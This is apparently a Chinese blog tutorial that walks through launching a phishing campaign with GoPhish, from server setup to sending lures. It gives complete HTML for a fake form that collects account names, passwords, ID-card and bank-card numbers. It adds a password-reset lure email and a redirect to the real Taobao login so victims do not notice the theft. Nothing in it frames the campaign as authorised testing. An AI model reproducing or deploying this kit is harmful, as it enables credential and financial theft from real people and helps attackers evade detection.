gophish钓鱼流程
1.下载并解压缩，访问
修改配置文件config，将 Listen_url 修改为 0.0.0.0:3333
双击gophish.exe
在浏览器登录
访问钓鱼网站
正常，因为还没有配置钓鱼页面
2.配置发件人邮箱
发送成功
3.Landing Pages 配置钓鱼页面
<!DOCTYPE html>
<html>
<head>
<title>个人信息提交表单</title>
<style>
/* 添加一些样式来美化表单 */
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;background-color: #ffffff;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
h2 {
text-align: center;
color: #333333;
}
label {
display: block;
margin-bottom: 10px;
color: #666666;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 10px;
border: 1px solid #cccccc;
border-radius: 3px;
}
input[type="submit"] {
width: 100%;
padding: 10px;
margin-top: 20px;
background-color: #4caf50;
border: none;
color: #ffffff;
font-size: 16px;
font-weight: bold;
cursor: pointer;
border-radius: 3px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="container"><h2>个人信息提交</h2>
<form action="#" method="post">
<label for="account">账号:</label>
<input type="text" id="account" name="account" required>
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>
<label for="idCard">xxx 号:</label>
<input type="text" id="idCard" name="idCard" required>
<label for="bankCard">xxx 号:</label>
<input type="text" id="bankCard" name="bankCard" required>
<input type="submit" value="提交">
</form>
</div>
</body>
</html>
Redirct to：点击提交页面后跳转的 url，为了防止使用者发现，我们在用户提交后跳转到真实 url。
https://login.taobao.com/havanaone/login/login.htm?bizName=taobao&redirectURL=https%3A%2F%2Fdetail.tmall.com%2Fitem.htm%3Fid%3D952321466735%26pisk%3DgHwilHjFT5l1eyv6siD111-WoKfdWAMjmrpxkx3VT2uBWFpT0mk08rIsWo7_o-0UVVLtQIUn0r4ZWfIsQou00zct71aAn-4Y-Ga0cGiqurzmk5CdelZshx7JnTB8fmUuog4i_muF00mi0MhNFawD6x7RytApYf_t3rKnOVFeT0gEbmkquMXE2mDqbVlVx2omVI8auxShx0ivuCuwQkRE4ck2bclq8Xox4IR2QVJFxmgEuxk4uvSnc2uq3xktkGuT5zeFotxLu0q3_Jmis4rhNKJDYcT-rlJHnKy31f0yy2v23JmgmMbghLfxz7gtw4aFpdD0Ym4nw5bkIrq4VSl3nFSTzoz_KAMlMGGuTWF-sWbwn2etmbkqtnJ4xv0QrJHPUemQTlF4CPxD3cwTej0StiJjMvy-a7zMcgZEQmzjN-QWCVr4V8N-EOYSjWroKgu2TQuauK9cDJRXGfoIx4EmSzpROGsEdMjHajGZAc6hxMAXGfoIx4IhxQzj_Di1K%26priceTId%3D2147847617549110873387859e1108%26pvid%3Dc42a89c6-22a6-4786-a719-2a578f3951e3%26scm%3D1007.56401.415219.0%26skuId%3D5870979136253%26spm%3Dtbpc.pc_sem_alimama%252Fa.201876.d1.475a2a89HjHZVP%26u_channel%3Dbybtqdyh%26umpChannel%3Dbybtqdyh%26xxc%3Dhome_recommend
预览
4.mail Templates 配置钓鱼邮件模板
<html>
<head>
<title></title>
</head>
<body>
<p _msthash="134" _msttexthash="5454917">hello</p><div><a _msthash="135" _msttexthash="8201531" href="{{.URL}}">rest 密码</a></div>
{{.Tracker}}</body>
</html>
5.配置收件人
6.Compaigns 发起钓鱼攻击
7.收件人收到邮箱
